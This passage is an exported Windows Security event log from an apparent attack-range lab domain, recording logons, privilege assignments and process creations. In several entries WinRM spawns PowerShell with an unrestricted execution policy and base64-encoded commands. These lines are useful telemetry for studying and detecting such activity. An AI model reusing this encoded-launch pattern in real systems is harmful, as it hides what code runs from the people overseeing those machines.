with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245935 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe44 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245934 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3C28E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245933 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3C28E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245932 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245931 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245930 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xff0 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfd8 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245929 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfd8 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xda0 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245928 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3C097 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245927 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3C097 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245926 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245925 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245924 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd8c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xda0 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245923 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Process Information: - New Process ID: 0xda0 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3b4 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245922 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245921 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:26 